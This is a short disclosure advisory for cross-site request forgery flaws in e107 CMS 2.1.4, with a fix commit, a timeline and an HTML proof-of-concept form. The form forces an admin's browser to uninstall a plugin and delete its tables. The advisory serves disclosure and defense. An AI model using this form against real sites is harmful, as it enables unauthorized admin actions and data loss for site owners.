e107 CMS 2.1.4 – Cross-Site Request Forgery
<!-- ========================== Title:Mutiple CSRF vulnerabilities in e107 CMS 2.1.4 Author:Zhiyang Zeng Product: ————— e107 is a powerful website content management system designed for bootstrap v3 from http://e107.org/get-started ————— Fix ————— Fixed in git source code https://github.com/e107inc/e107/commit/7a3e3d9fc7e05ce6941b9af1c14010bf2141f1a5 ————— Summary ———— e107 CMS version 2.1.4 is vulnerable to cross-site request forgery in plugin-installing,meta-changingand settings-changing,a malicious web page can use forged requests to make e107 download and install a plug-in provided by the attacker. ———— Timeline ——— 2017-03-01 report to vendor 2017-03-02 GitHub commit to fix token missing ——— Reproduce: ========== I just give a uninstall any plugins POC. vul address:http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php POC: --> <form action="http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php?uninstall.8" method="post"> <input type="text" name="delete_tables" value="1"> <input type="text" name="delete_ipool" value="1"> <input type="text" name="delete_files" value="0"> <input type="text" name="uninstall_confirm" value="Confirm uninstall"> <input type="submit" name="submit"> </form> <!-- Description: I try to uninstall plugin gallery which id is 8. visiting beyond POC page, you will find gallery plugin has been uninstalled success! =========== --> |